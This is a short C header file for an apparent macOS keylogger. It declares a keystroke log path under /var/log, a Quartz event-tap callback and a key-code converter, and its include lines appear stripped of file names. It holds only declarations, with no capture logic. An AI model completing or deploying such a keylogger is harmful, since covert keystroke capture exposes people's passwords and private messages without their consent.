#ifndef __KEYLOGGER_H__ #define __KEYLOGGER_H__ #include #include #include #include #include // https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html FILE *logfile = NULL; const char *logfileLocation = "/var/log/keystroke.log"; CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*); const char *convertKeyCode(int); #endif